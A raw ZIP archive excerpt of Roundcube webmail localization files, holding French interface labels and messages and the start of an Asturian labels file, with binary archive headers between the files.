$labels['afternseconds'] = 'après $n secondes';
$labels['reqmdn'] = 'Toujours demander un avis d’ouverture du courriel';
$labels['reqdsn'] = 'Toujours demander une notification d’état de distribution';
$labels['replysamefolder'] = 'Placer les réponses dans le dossier du courriel auquel on répond';
$labels['defaultabook'] = 'Carnet d’adresses par défaut';
$labels['autocompletesingle'] = 'Ignorer les adresses de courriel alternatives pour le remplissage automatique';
$labels['listnamedisplay'] = 'Lister les contacts en tant que';
$labels['contactformmode'] = 'Mode du formulaire de contact';
$labels['privatemode'] = 'Privé (domicile)';
$labels['businessmode'] = 'Entreprise (travail)';
$labels['collectedaddresses'] = 'Adresses recueillies';
$labels['collectedrecipients'] = 'Destinataires recueillis';
$labels['collectedrecipientsopt'] = 'Enregistrer les destinataires des courriels sortants dans';
$labels['collectedsendersopt'] = 'Enregistrer les expéditeurs de confiance dans';
$labels['trustedsenders'] = 'Expéditeurs de confiance';
$labels['spellcheckbeforesend'] = 'Vérifier l’orthographe avant d’envoyer un courriel';
$labels['spellcheckoptions'] = 'Options du vérificateur d’orthographe';
$labels['spellcheckignoresyms'] = 'Ignorer les mots avec des symboles';
$labels['spellcheckignorenums'] = 'Ignorer les mots avec des nombres';
$labels['spellcheckignorecaps'] = 'Ignorer les mots entièrement en majuscule';
$labels['addtodict'] = 'Ajouter au dictionnaire';
$labels['mailtoprotohandler'] = 'Enregistrer le gestionnaire de protocole pour les liens mailto:';
$labels['standardwindows'] = 'Gérer les fenêtres surgissantes comme les autres';
$labels['forwardmode'] = 'Transfert de courriels';
$labels['inline'] = 'dans le courriel';
$labels['asattachment'] = 'en pièce jointe';
$labels['replyallmode'] = 'Action par défaut du bouton [Répondre à tous]';
$labels['replyalldefault'] = 'répondre à tous';
$labels['replyalllist'] = 'répondre seulement à la liste de diffusion (si trouvée)';
$labels['allmessages'] = 'tous les courriels';
$labels['olderxdays'] = 'de plus de $x jours';
$labels['folder'] = 'Dossier';
$labels['folders'] = 'Dossiers';
$labels['foldername'] = 'Nom du dossier';
$labels['subscribed'] = 'Abonné';
$labels['messagecount'] = 'Courriels';
$labels['create'] = 'Créer';
$labels['createfolder'] = 'Créer un nouveau dossier';
$labels['managefolders'] = 'Gérer les dossiers';
$labels['specialfolders'] = 'Dossiers spéciaux';
$labels['properties'] = 'Propriétés';
$labels['folderproperties'] = 'Propriétés du dossier';
$labels['parentfolder'] = 'Dossier parent';
$labels['location'] = 'Emplacement';
$labels['info'] = 'Renseignements';
$labels['getfoldersize'] = 'Cliquer pour obtenir la taille de dossier';
$labels['changesubscription'] = 'Cliquer pour modifier l’abonnement';
$labels['foldertype'] = 'Type de dossier';
$labels['personalfolder'] = 'Dossier privé';
$labels['otherfolder'] = 'Dossier d’autres utilisateurs';
$labels['sharedfolder'] = 'Dossier public';
$labels['findfolders'] = 'Trouver des dossiers';
$labels['findcontacts'] = 'Trouver des contacts';
$labels['findmail'] = 'Trouver des courriels';
$labels['namespace.personal'] = 'Personnel';
$labels['namespace.other'] = 'Autres utilisateurs';
$labels['namespace.shared'] = 'Partagé';
$labels['dualuselabel'] = 'Peut seulement contenir des';
$labels['dualusemail'] = 'messages';
$labels['dualusefolder'] = 'dossiers';
$labels['generate'] = 'Générer';
$labels['encryptioncreatekey'] = 'Créer une nouvelle biclé';
$labels['openmailvelopesettings'] = 'Ouvrir les paramètres de Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Vous avez $nr clés PGP privées correspondantes enregistrées dans votre trousseau Mailvelope :';
$labels['encryptionnoprivkeysinmailvelope'] = 'Cette identité d’expéditeur n’a pas encore de clé PGP privée enregistrée dans votre trousseau Mailvelope. Voulez-vous en créer une afin de permettre l’envoi de courriel chiffré ?';
$labels['encryption'] = 'Chiffrement';
$labels['mailvelopeoptions'] = 'Options de Mailvelope';
$labels['mailvelopemainkeyring'] = 'Utiliser le trousseau principal de Mailvelope';
$labels['mailvelopenotfound'] = 'L’extension Mailvelope n’est pas activée ou installée dans votre navigateur.';
$labels['sortby'] = 'Trier par';
$labels['sortasc'] = 'Tri ascendant';
$labels['sortdesc'] = 'Tri descendant';
$labels['undo'] = 'Annuler';
$labels['installedplugins'] = 'Plugiciels installés';
$labels['plugin'] = 'Plugiciel';
$labels['version'] = 'Version';
$labels['source'] = 'Source';
$labels['destination'] = 'Destination';
$labels['license'] = 'Licence';
$labels['support'] = 'Obtenir du soutien';
$labels['savedsearches'] = 'Recherches enregistrées';
$labels['dateformatY'] = 'AAAA';
$labels['dateformaty'] = 'AA';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'JJ';
$labels['dateformatj'] = 'J';
$labels['dateformatn'] = 'M';
$labels['B'] = 'o';
$labels['KB'] = 'ko';
$labels['MB'] = 'Mo';
$labels['GB'] = 'Go';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Anglais';
$labels['westerneuropean'] = 'Europe de l’Ouest';
$labels['easterneuropean'] = 'Europe de l’Est';
$labels['southeasterneuropean'] = 'Europe du Sud-Est';
$labels['baltic'] = 'Baltique';
$labels['cyrillic'] = 'Cyrillique';
$labels['arabic'] = 'Arabe';
$labels['greek'] = 'Grec';
$labels['hebrew'] = 'Hébreu';
$labels['turkish'] = 'Turc';
$labels['nordic'] = 'Nordique';
$labels['thai'] = 'Thaï';
$labels['celtic'] = 'Celtique';
$labels['vietnamese'] = 'Vietnamien';
$labels['japanese'] = 'Japonais';
$labels['korean'] = 'Coréen';
$labels['chinese'] = 'Chinois';
$labels['arialabeltopnav'] = 'Contrôle de la fenêtre';
$labels['arialabeltasknav'] = 'Tâches de l’application';
$labels['arialabeltoolbar'] = 'Barre d’outils de l’application';
$labels['arialabellistnav'] = 'Navigation dans la liste';
$labels['arialabelactivetask'] = 'Tâche active';
$labels['arialabelmessagessearchfilter'] = 'Filtre de listage des courriels';
$labels['arialabelmailsearchform'] = 'Formulaire de recherche de courriels';
$labels['arialabelcontactsearchform'] = 'Formulaire de recherche des contacts';
$labels['arialabelmailquicksearchbox'] = 'Saisie de la recherche de courriels';
$labels['arialabelquicksearchbox'] = 'Saisie de la recherche';
$labels['arialabelfoldersearchfilter'] = 'Filtre de listage des dossiers';
$labels['arialabelfoldersearchform'] = 'Formulaire de recherche de dossiers';
$labels['arialabelfolderlist'] = 'Sélection du dossier des courriels';
$labels['arialabelmessagelist'] = 'Listage de courriels';
$labels['arialabelmailpreviewframe'] = 'Prévisualisation des courriels';
$labels['arialabelmailboxmenu'] = 'Menu d’actions sur les dossiers';
$labels['arialabellistselectmenu'] = 'Menu de sélection de la liste';
$labels['arialabelthreadselectmenu'] = 'Menu de listage des fils';
$labels['arialabelmessagelistoptions'] = 'Options d’affichage et de tri des listes de courriels';
$labels['arialabelmailimportdialog'] = 'Fenêtre d’importation des courriels';
$labels['arialabelmessagenav'] = 'Parcourir les courriels';
$labels['arialabelmessagebody'] = 'Corps du courriel';
$labels['arialabelmessageactions'] = 'Actions sur les courriels';
$labels['arialabelcontactquicksearch'] = 'Formulaire de recherche de contacts';
$labels['arialabelcontactsearchbox'] = 'Saisie de la recherche de contacts';
$labels['arialabelmessageheaders'] = 'En-tête des courriels';
$labels['arialabelforwardingoptions'] = 'Options de transfert';
$labels['arialabelreplyalloptions'] = 'Options de réponse à tous';
$labels['arialabelmoremessageactions'] = 'Actions de courriel supplémentaires';
$labels['arialabelmorecontactactions'] = 'Autres actions de contact';
$labels['arialabelmarkmessagesas'] = 'Marquer les courriels sélectionnés comme…';
$labels['arialabelcomposeoptions'] = 'Options de rédaction';
$labels['arialabelresponsesmenu'] = 'Menu des réponses prédéterminées';
$labels['arialabelattachmentuploadform'] = 'Formulaire de téléversement de pièce jointe';
$labels['arialabelattachmentmenu'] = 'Options des pièces jointes';
$labels['arialabelmailtomenu'] = 'Options d’adresse courriel';
$labels['arialabelattachmentpreview'] = 'Prévisualisation des pièces jointes';
$labels['ariasummarycomposecontacts'] = 'Liste des contacts et des groupes à sélectionner comme destinataires';
$labels['arialabelcontactexportoptions'] = 'Options d’exportation des contacts';
$labels['arialabelabookgroupoptions'] = 'Options du carnet d’adresses, de groupes';
$labels['arialabelpreferencesform'] = 'Formulaire des préférences';
$labels['arialabelidentityeditfrom'] = 'Formulaire de modification de l’identité';
$labels['arialabelresponseeditfrom'] = 'Formulaire de modification des réponses';
$labels['arialabelsearchterms'] = 'Termes de recherche';
$labels['arialabeldropactionmenu'] = 'Menu d’action coller-déposer';
$labels['arialabelheadersmenu'] = 'Menu d’ajout de destinataires (en-tête)';
$labels['arialabelimagetools'] = 'Outils de manipulation des images';
$labels['helplistnavigation'] = 'Navigation au clavier dans la liste';
$labels['helplistkeyboardnavigation'] = "Flèche haut/bas : déplacer la cible de sélection.
Espace : sélectionner la rangée ciblée.
Maj + haut/bas : Sélectionner des rangées supplémentaires
au dessus/en dessous.
Ctl + espace : ajouter la rangée ciblée à la sélection/enlever la rangée ciblée de la sélection.";
$labels['helplistkeyboardnavmessages'] = "Flèche droite/gauche : déplier/replier les fils de courriel (en mode fils seulement).
Entrée : ouvrir le courriel sélectionné/cible.
Suppr : déplacer les courriels sélectionnés vers la corbeille.";
$labels['helplistkeyboardnavcontacts'] = "Entrée : ouvrir le contact sélectionné/cible.";
PK
h�\���ςM�M'program/localization/fr_FR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Une erreur est survenue';
$messages['loginfailed']  = 'La connexion a échoué.';
$messages['cookiesdisabled'] = 'Votre navigateur n’accepte pas les témoins.';
$messages['sessionerror'] = 'Votre session est invalide ou a expiré.';
$messages['cookiesmismatch'] = 'Une non-concordance de témoin a été détectée. Veuillez effacer les témoins de votre navigateur.';
$messages['storageerror'] = 'Erreur de connexion au serveur de stockage.';
$messages['servererror'] = 'Erreur de serveur';
$messages['servererrormsg'] = 'Erreur de serveur : $msg';
$messages['accountlocked'] = 'Trop de tentatives de connexion infructueuses. Réessayez ultérieurement.';
$messages['connerror'] = 'Erreur de connexion (n’a pu atteindre le serveur)';
$messages['dberror'] = 'Erreur de base de données';
$messages['dbconnerror'] = 'La connexion à la base de données n’aboutit pas';
$messages['windowopenerror'] = 'La fenêtre surgissante a été bloquée';
$messages['requesttimedout'] = 'Délai de la requête expiré';
$messages['errorreadonly'] = 'Impossible d’effectuer l’opération. Le dossier est en lecture seule.';
$messages['errornoperm'] = 'Impossible d’effectuer l’opération. Permission refusée.';
$messages['erroroverquota'] = 'Impossible d’effectuer l’opération. L’espace disque est saturé.';
$messages['erroroverquotadelete'] = 'L’espace disque est saturé. Utilisez Maj+Suppr pour supprimer un courriel.';
$messages['invalidrequest'] = 'La requête est invalide. Aucune donnée n’a été enregistrée.';
$messages['invalidhost'] = 'Nom du serveur invalide.';
$messages['nomessagesfound'] = 'Aucun courriel n’a été trouvé dans cette boîte de courriel';
$messages['loggedout'] = 'Vous avez mis fin à cette session avec succès. Au revoir.';
$messages['mailboxempty'] = 'La boîte de courriel est vide';
$messages['nomessages'] = 'Aucun courriel';
$messages['refreshing'] = 'Actualisation…';
$messages['loading'] = 'Chargement…';
$messages['uploading'] = 'Téléversement du fichier…';
$messages['attaching'] = 'Ajout du fichier…';
$messages['uploadingmany'] = 'Téléversement des fichiers…';
$messages['loadingdata'] = 'Chargement des données…';
$messages['checkingmail'] = 'Relève des nouveaux courriels…';
$messages['sendingmessage'] = 'Envoi du courriel…';
$messages['messagesent'] = 'Le courriel a été envoyé avec succès.';
$messages['savingmessage'] = 'Enregistrement du courriel…';
$messages['messagesaved'] = 'Courriel sauvegardé dans Brouillons.';
$messages['successfullysaved'] = 'Enregistré avec succès.';
$messages['savingresponse'] = 'Enregistrement du texte de réponse…';
$messages['deleteresponseconfirm'] = 'Voulez-vous vraiment supprimer ce texte de réponse ?';
$messages['nocontactselected'] = 'Vous n’avez pas encore choisi un contact.';
$messages['addedsuccessfully'] = 'Le contact a été ajouté avec succès au carnet d’adresses.';
$messages['contactexists'] = 'Un contact avec la même adresse courriel existe déjà.';
$messages['contactnameexists'] = 'Un contact avec le même nom existe déjà.';
$messages['blockedimages'] = 'Pour protéger votre confidentialité, les images distantes sont bloquées dans ce courriel.';
$messages['blockedresources'] = 'Pour protéger votre confidentialité, les ressources distantes ont été bloquées.';
$messages['suspiciousemail'] = 'Ce message comprend des adresses courriel suspectes qui pourraient être frauduleuses.';
$messages['bccemail'] = 'Les messages transférés comprennent des destinataires confidentiels (Cci).';
$messages['bouncehint'] = 'Le message sera envoyé sans aucune modification, c’est-à-dire avec le corps, les en-têtes et les destinataires originaux.';
$messages['encryptedmessage'] = 'Ce courriel est chiffré et ne peut pas être affiché. Désolé.';
$messages['externalmessagedecryption'] = 'Ce courriel est chiffré et peut être déchiffré grâce au module complémentaire de votre navigateur.';
$messages['nopubkeyfor'] = 'Aucune clé publique valide n’a été trouvée pour $email';
$messages['nopubkeyforsender'] = 'Aucune clé publique valide n’a été trouvée pour votre identité d’expéditeur. Voulez-vous chiffrer le courriel pour les destinataires seulement ?';
$messages['encryptnoattachments'] = 'Les pièces jointes déjà téléversées ne peuvent pas être chiffrées.  Veuillez les ajouter de nouveau dans l’éditeur de chiffrement.';
$messages['searchpubkeyservers'] = 'Voulez-vous chercher les clés manquantes sur les serveurs de clés publiques ?';
$messages['encryptpubkeysfound'] = 'Les clés publiques suivantes ont été trouvées :';
$messages['keyservererror'] = 'Échec d’obtention de la clé sur le serveur de clés.';
$messages['keyimportsuccess'] = 'La clé publique $key a été importée dans le trousseau avec succès.';
$messages['nocontactsfound'] = 'Aucun contact n’a été trouvé.';
$messages['contactnotfound'] = 'Le contact demandé n’a pas été trouvé.';
$messages['contactsearchonly'] = 'Vous devez utiliser un formulaire de recherche pour voir les contacts du carnet d’adresses sélectionné.';
$messages['sendingfailed'] = 'Échec d’envoi du courriel.';
$messages['senttooquickly'] = 'Veuillez patienter $sec s avant d’envoyer ce courriel.';
$messages['errorsavingsent'] = 'Une erreur est survenue durant l’enregistrement du courriel envoyé.';
$messages['errorsaving'] = 'Une erreur est survenue durant l’enregistrement.';
$messages['errormoving'] = 'Impossible de déplacer les courriels.';
$messages['errorcopying'] = 'Impossible de copier les courriels.';
$messages['errordeleting'] = 'Impossible de supprimer les courriels.';
$messages['errormarking'] = 'Impossible de marquer les courriels.';
$messages['alerttitle'] = 'Attention';
$messages['confirmationtitle'] = 'Êtes-vous certain…';
$messages['deletecontactconfirm']  = 'Voulez-vous vraiment supprimer les contacts sélectionnés ?';
$messages['deletegroupconfirm']  = 'Voulez-vous vraiment supprimer le groupe sélectionné ?';
$messages['deletemessagesconfirm'] = 'Voulez-vous vraiment supprimer les courriels sélectionnés ?';
$messages['deletefolderconfirm']  = 'Voulez-vous vraiment supprimer ce dossier ?';
$messages['movefolderconfirm']  = 'Voulez-vous vraiment déplacer ce dossier ?';
$messages['purgefolderconfirm']  = 'Voulez-vous vraiment supprimer tous les courriels dans ce dossier ?';
$messages['contactdeleting'] = 'Suppression des contacts…';
$messages['groupdeleting'] = 'Suppression du groupe…';
$messages['folderdeleting'] = 'Suppression du dossier…';
$messages['foldermoving'] = 'Déplacement du dossier…';
$messages['foldersubscribing'] = 'Abonnement au dossier…';
$messages['folderunsubscribing'] = 'Désabonnement au dossier…';
$messages['formincomplete'] = 'Le formulaire n’a pas été entièrement rempli.';
$messages['noemailwarning'] = 'Veuillez saisir une adresse courriel valide.';
$messages['nonamewarning']  = 'Veuillez saisir un nom.';
$messages['nopagesizewarning'] = 'Veuillez saisir une taille de page.';
$messages['nosenderwarning'] = 'Veuillez saisir l’adresse courriel de l’expéditeur.';
$messages['recipientsadded'] = 'Les destinataires ont été ajoutés avec succès.';
$messages['norecipientwarning'] = 'Veuillez saisir au moins un destinataire.';
$messages['disclosedrecipwarning'] = 'Tous les destinataires verront réciproquement leur adresse courriel. Afin d’empêcher cela et de protéger la confidentialité, vous pouvez utiliser le champ Cci.';
$messages['disclosedreciptitle'] = 'Trop de destinataires publics';
$messages['nosubjectwarning']  = 'Le champ « Objet » est vide. Voulez-vous le remplir maintenant ?';
$messages['nosubjecttitle']  = 'Aucun objet';
$messages['nobodywarning'] = 'Envoyer ce courriel sans texte ?';
$messages['notsentwarning'] = 'Le courriel n’a pas été envoyé et contient des changements non enregistrés. Voulez-vous rejeter vos changements ?';
$messages['restoresavedcomposedata'] = 'Un courriel rédigé précédemment mais non envoyé a été trouvé.\n\nObjet : $subject\nEnregistré le : $date\n\nSouhaitez-vous restaurer ce courriel ?';
$messages['nosearchname'] = 'Veuillez saisir un nom de contact ou une adresse de courriel.';
$messages['notuploadedwarning'] = 'Toutes les pièces jointes n’ont pas encore été téléversées. Veuillez patienter ou annuler le téléversement.';
$messages['searchsuccessful'] = '$nr courriels trouvés.';
$messages['contactsearchsuccessful'] = '$nr contacts trouvés.';
$messages['searchnomatch'] = 'La recherche n’a retourné aucun résultat.';
$messages['searching'] = 'Recherche…';
$messages['checking'] = 'Relève…';
$messages['stillsearching'] = 'Recherche toujours en cours…';
$messages['nospellerrors'] = 'Aucune faute d’orthographe n’a été trouvée.';
$messages['folderdeleted'] = 'Le dossier a été effacé avec succès.';
$messages['foldersubscribed'] = 'L’abonnement au dossier a réussi.';
$messages['folderunsubscribed'] = 'Le désabonnement au dossier a réussi.';
$messages['folderpurged'] = 'Le dossier a été vidé avec succès.';
$messages['folderexpunged'] = 'Le dossier a été compacté avec succès.';
$messages['deletedsuccessfully'] = 'Supprimé avec succès.';
$messages['converting'] = 'Suppression de la mise en forme…';
$messages['messageopenerror'] = 'Impossible de charger le courriel depuis le serveur.';
$messages['filelinkerror'] = 'Échec d’ajout du fichier.';
$messages['fileuploaderror'] = 'Échec de téléversement du fichier.';
$messages['csvfilemismatch'] = 'L’importation de plusieurs fichiers CSV avec différents champs n’est pas prise en charge.';
$messages['filesizeerror'] = 'Le fichier téléversé dépasse la taille maximale de $size.';
$messages['filecounterror'] = 'Vous pouvez téléverser un maximum de $count fichiers à la fois.';
$messages['msgsizeerror'] = 'Échec d’ajout de fichier. La taille maximale d’un fichier ($size) a été dépassée.';
$messages['msgsizeerrorfwd'] = 'La taille maximale d’un message ($size) a été dépassée. $num message(s) n’ont pas été joints.';
$messages['copysuccess'] = '$nr contacts copiés avec succès.';
$messages['movesuccess'] = '$nr contacts déplacés avec succès.';
$messages['copyerror'] = 'Impossible de copier des contacts.';
$messages['moveerror'] = 'Aucun contact n’a pu être déplacé.';
$messages['sourceisreadonly'] = 'Cette source d’adresse est en lecture seule.';
$messages['errorsavingcontact'] = 'Impossible d’enregistrer l’adresse du contact.';
$messages['movingmessage'] = 'Déplacement des courriels…';
$messages['copyingmessage'] = 'Copie des courriels…';
$messages['copyingcontact'] = 'Copie des contacts…';
$messages['movingcontact'] = 'Déplacement des contacts…';
$messages['deletingmessage'] = 'Suppression des courriels…';
$messages['markingmessage'] = 'Marquage des courriels…';
$messages['addingmember'] = 'Ajout des contacts au groupe…';
$messages['removingmember'] = 'Suppression des contacts du groupe…';
$messages['receiptsent'] = 'Un avis de lecture a été envoyé avec succès.';
$messages['errorsendingreceipt'] = 'Impossible d’envoyer l’avis.';
$messages['deleteidentityconfirm'] = 'Voulez-vous vraiment supprimer cette identité ?';
$messages['nodeletelastidentity'] = 'Vous ne pouvez pas effacer cette identité, c’est votre dernière.';
$messages['forbiddencharacter'] = 'Le nom du dossier contient un caractère interdit.';
$messages['selectimportfile'] = 'Veuillez choisir un fichier à téléverser.';
$messages['addresswriterror'] = 'Impossible d’écrire dans le carnet d’adresse choisi.';
$messages['contactaddedtogroup'] = 'Les contacts ont été ajoutés à ce groupe avec succès.';
$messages['contactremovedfromgroup'] = 'Les contacts ont été supprimés de ce groupe avec succès.';
$messages['nogroupassignmentschanged'] = 'Aucune affection de groupe n’a été changée.';
$messages['importwait'] = 'Importation, veuillez patienter…';
$messages['importformaterror'] = 'Échec d’importation. Le fichier téléversé n’est pas un fichier d’importation de données valide.';
$messages['importconfirm'] = '<b>Les $inserted contacts ont été importés avec succès</b>';
$messages['importconfirmskipped'] = '<b>Les $skipped entrées existantes ont été ignorées</b>';
$messages['importmessagesuccess'] = '$nr courriels importés avec succès';
$messages['importmessageerror'] = 'Échec d’importation. Le fichier téléversé n’est ni un courriel valide ni un fichier de boîte de courriel';
$messages['opnotpermitted'] = 'L’opération n’est pas permise';
$messages['nofromaddress'] = 'Adresse courriel manquante dans l’identité choisie.';
$messages['editorwarning'] = 'Changer de type d’éditeur pourrait causer la perte du formatage du texte. Voulez-vous continuer ?';
$messages['httpreceivedencrypterror'] = 'Une erreur fatale de configuration est survenue. Contactez votre administrateur immédiatement. <b>Votre courriel ne peut pas être envoyé.</b>';
$messages['smtpconnerror'] = 'Erreur SMTP ($code) : échec de connexion au serveur.';
$messages['smtpautherror'] = 'Erreur SMTP ($code) : échec d’authentification.';
$messages['smtpfromerror'] = 'Erreur SMTP ($code) : impossible de définir l’expéditeur « $from » ($msg)';
$messages['smtptoerror'] = 'Erreur SMTP ($code) : échec d’ajout du destinataire « $to » ($msg)';
$messages['smtprecipientserror'] = 'Erreur SMTP : impossible d’analyser la liste des destinataires.';
$messages['smtputf8error'] = 'Erreur SMTP : le serveur ne prend pas en charge Unicode dans l’adresse courriel.';
$messages['smtpsizeerror'] = 'Erreur SMTP : la taille du message dépasse la limite du serveur ($limit)';
$messages['smtperror'] = 'Erreur SMTP : $msg';
$messages['emailformaterror'] = 'Adresse courriel invalide : $email';
$messages['toomanyrecipients'] = 'Trop de destinataires. Réduire leur nombre à $max.';
$messages['maxgroupmembersreached'] = 'Le nombre de membres du groupe dépasse le maximum de $max.';
$messages['internalerror'] = 'Une erreur interne est survenue. Veuillez réessayer.';
$messages['contactdelerror'] = 'Impossible de supprimer les contacts.';
$messages['contactdeleted'] = 'Contacts supprimés avec succès.';
$messages['contactrestoreerror'] = 'Impossible de restaurer les contacts supprimés.';
$messages['contactrestored'] = 'Contacts restaurés avec succès.';
$messages['groupdeleted'] = 'Groupe supprimé avec succès.';
$messages['grouprenamed'] = 'Groupe renommé avec succès.';
$messages['groupcreated'] = 'Groupe créé avec succès.';
$messages['savedsearchdeleted'] = 'Recherche enregistrée supprimée avec succès.';
$messages['savedsearchdeleteerror'] = 'Impossible de supprimer la recherche enregistrée.';
$messages['savedsearchcreated'] = 'Recherche enregistrée créée avec succès.';
$messages['savedsearchcreateerror'] = 'Impossible de créer la recherche enregistrée.';
$messages['messagedeleted'] = 'Courriels supprimés avec succès.';
$messages['messagemoved'] = 'Courriels déplacés avec succès.';
$messages['messagemovedtotrash'] = 'Les courriels ont été déplacés vers la corbeille avec succès.';
$messages['messagecopied'] = 'Courriels copiés avec succès.';
$messages['messagemarked'] = 'Courriels marqués avec succès.';
$messages['autocompletechars'] = 'Saisir au moins $min caractères pour le remplissage automatique.';
$messages['autocompletemore'] = 'Plusieurs entrées concordantes trouvées. Veuillez taper plus de caractères.';
$messages['namecannotbeempty'] = 'Le nom ne peut pas être vide.';
$messages['nametoolong'] = 'Le nom est trop long.';
$messages['namedotforbidden'] = 'Un nom de dossier ne peut pas commencer par un point.';
$messages['folderupdated'] = 'Dossier mis à jour avec succès.';
$messages['foldercreated'] = 'Dossier créé avec succès.';
$messages['invalidimageformat'] = 'N’est pas un format d’image valide.';
$messages['mispellingsfound'] = 'Fautes d’orthographe détectées dans le courriel.';
$messages['parentnotwritable'] = 'Impossible de créer ni déplacer le dossier dans le dossier parent sélectionné. Aucun droit d’accès.';
$messages['messagetoobig'] = 'La partie message est trop grosse pour être traitée.';
$messages['attachmentvalidationerror'] = 'Cette pièce jointe est suspecte, car son type ne correspond pas au type déclaré dans le courriel. Si vous ne faites pas confiance à l’expéditeur, vous ne devriez pas l’ouvrir dans le navigateur, car son contenu pourrait être malveillant.<br/><br/><em>Attendu : $expected ; trouvé : $detected</em>';
$messages['noscriptwarning'] = 'Avertissement : Ce service de courriel Web exige JavaScript. Afin de l’utiliser, veuillez activer JavaScript dans les paramètres de votre navigateur.';
$messages['messageissent'] = 'Le courriel a déjà été envoyé, mais n’a pas encore été enregistré. Voulez-vous l’enregistrer maintenant ?';
$messages['errnotfound'] = 'Ficher introuvable';
$messages['errnotfoundexplain'] = 'La ressource demandée n’a pas été trouvée';
$messages['errfailedrequest'] = 'Échec de la demande';
$messages['errauthorizationfailed'] = 'Échec d’autorisation';
$messages['errunauthorizedexplain'] = 'Impossible de vérifier que vous êtes autorisé à accéder à ce service';
$messages['errrequestcheckfailed'] = 'Échec de vérification de la demande';
$messages['errcsrfprotectionexplain'] = "Pour votre protection, l’accès à cette ressource est protégé contre les attaques CSRF.\nSi vous voyez ceci, vous ne vous êtes probablement pas déconnecté avant de quitter l’application Web.\n\nUne interaction humaine est maintenant exigé afin de continuer.";
$messages['errcontactserveradmin'] = 'Veuillez contacter l’administrateur de votre serveur.';
$messages['clicktoresumesession'] = 'Cliquez ici afin de reprendre votre session précédente.';
$messages['errcomposesession'] = 'Erreur de session de rédaction';
$messages['errcomposesessionexplain'] = 'La session de rédaction demandée est introuvable.';
$messages['clicktocompose'] = 'Cliquer ici pour rédiger un nouveau courriel';
$messages['nosupporterror'] = 'Cette fonction n’est pas prise en charge par votre navigateur Web.';
$messages['siginserted'] = 'La signature a été insérée avec succès.';
$messages['responseinserted'] = 'La réponse a été insérée avec succès.';
$messages['noresponsesavailable'] = 'Aucune réponse n’est proposée';
$messages['listempty'] = 'La liste est vide.';
$messages['listusebutton'] = 'Utiliser le bouton Créer pour ajouter un nouvel enregistrement.';
$messages['keypaircreatesuccess'] = 'Une nouvelle biclé a été créée avec succès pour $identity.';
$messages['emptyattachment'] = 'Votre fichier joint semble vide.<br>Veuillez vérifier auprès de la personne qui l’a envoyé.';
$messages['oauthloginfailed'] = 'Échec de connexion OAuth. Veuillez réessayer.';
PK
h�\|��
d
d#program/localization/ast/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bienllegáu a $product';
$labels['username'] = 'Usuariu';
$labels['password'] = 'Contraseña';
$labels['server'] = 'Sirvidor';
$labels['login'] = 'Aniciar sesión';
$labels['logout'] = 'Zarrar sesión';
$labels['mail'] = 'Corréu';
$labels['settings'] = 'Axustes';
$labels['addressbook'] = 'Llibreta de direiciones';
$labels['inbox'] = 'Bandexa d\'entrada';
$labels['drafts'] = 'Borradores';
$labels['sent'] = 'Unviaos';
$labels['trash'] = 'Papelera';
$labels['junk'] = 'Puxarra';
$labels['show_real_foldernames'] = 'Amosar nomes reales pa carpetes especiales';
$labels['subject'] = 'Asuntu';
$labels['from'] = 'De';
$labels['sender'] = 'Remitente';
$labels['to'] = 'Pa';
$labels['cc'] = 'Copia';
$labels['bcc'] = 'Cct';
$labels['replyto'] = 'Contestar a';
$labels['followupto'] = 'Responder-a';
$labels['date'] = 'Data';
$labels['size'] = 'Tamañu';
$labels['priority'] = 'Prioridá';
$labels['organization'] = 'Organización';
$labels['readstatus'] = 'Lleer estáu';
$labels['listoptions'] = 'Llista d\'opciones...';
$labels['mailboxlist'] = 'Carpetes';
$labels['messagesfromto'] = 'Mensaxes $from a $to de $count';
$labels['threadsfromto'] = 'Filos $from a $to de $count';
$labels['messagenrof'] = 'Mensaxe $nr de $count';
$labels['fromtoshort'] = '$from – $to de $count';
$labels['copy'] = 'Copia';
$labels['move'] = 'Mover';
$labels['moveto'] = 'mover a...';
$labels['copyto'] = 'Copiar a...';
$labels['download'] = 'Descargar';
$labels['open'] = 'Abrir';
$labels['showattachment'] = 'Amosar';
$labels['showanyway'] = 'Amosar de toes formes';
$labels['filename'] = 'Nome del ficheru';
$labels['filesize'] = 'Tamañu del ficheru';
$labels['addtoaddressbook'] = 'Amestar a la llibreta de direiciones';
$labels['sun'] = 'Dom';
$labels['mon'] = 'Llu';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mie';
$labels['thu'] = 'Xue';
$labels['fri'] = 'Vie';
$labels['sat'] = 'Sab';
$labels['sunday'] = 'Domingu';
$labels['monday'] = 'Llunes';
$labels['tuesday'] = 'Martes';
$labels['wednesday'] = 'Miércoles';
$labels['thursday'] = 'Xueves';
$labels['friday'] = 'Vienres';
$labels['saturday'] = 'Sábadu';
$labels['jan'] = 'Xin';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Abr';
$labels['may'] = 'Mayu';
$labels['jun'] = 'Xun';
$labels['jul'] = 'Xnt';
$labels['aug'] = 'Ago';
$labels['sep'] = 'Set';
$labels['oct'] = 'Och';
$labels['nov'] = 'Pay';
$labels['dec'] = 'Avi';
$labels['longjan'] = 'Xineru';
$labels['longfeb'] = 'Febreru';
$labels['longmar'] = 'Marzu';
$labels['longapr'] = 'Abril';
$labels['longmay'] = 'Mayu';
$labels['longjun'] = 'Xunu';
$labels['longjul'] = 'Xunetu';
$labels['longaug'] = 'Agostu';
$labels['longsep'] = 'Setiembre';
$labels['longoct'] = 'Ochobre';
$labels['longnov'] = 'Payares';
$labels['longdec'] = 'Avientu';
$labels['today'] = 'Güei';
